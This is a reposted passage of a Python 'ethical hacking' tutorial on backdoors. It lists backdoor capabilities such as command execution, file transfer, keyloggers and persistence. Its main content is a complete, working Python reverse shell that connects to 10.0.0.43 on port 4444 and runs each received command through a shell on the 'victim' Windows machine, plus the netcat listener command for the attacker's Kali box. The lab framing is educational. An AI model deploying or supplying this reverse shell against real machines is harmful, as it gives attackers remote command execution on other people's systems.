首页 > 编程语言 > 详细

Python Ethical Hacking - BACKDOORS(1)

时间:2019-10-05 16:38:30      阅读:51      评论:0      收藏:0      [点我收藏+]

REVERSE_BACKDOOR

  • Access file system.
  • Execute system commands.
  • Download files.
  • Upload files.
  • Persistence.

BACKDOORS

An interactive program gives access to a system its executed on.

  • Command execution.
  • Access file system.
  • Upload/download files.
  • Run keylogger.
  • ...etc

技术分享图片

 

 

 技术分享图片

 

 

 技术分享图片

 

 

 Write the Reverse backdoor Python script and execute on Windows machine. (Victim machine)

#!/usr/bin/env python
import socket
import subprocess


def execute_system_command(command):
    return subprocess.check_output(command, shell=True)


connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("10.0.0.43", 4444))

connection.send(b"\n[+] Connection established.\n")

while True:
    command = connection.recv(1024).decode()
    command_result = execute_system_command(command)
    connection.send(command_result)

connection.close()

 

Run the listening progress on the Kali Linux to establish the connection and execute the system commands.

nc -vv -l -p 4444

技术分享图片

 

Python Ethical Hacking - BACKDOORS(1)

原文:https://www.cnblogs.com/keepmoving1113/p/11624972.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!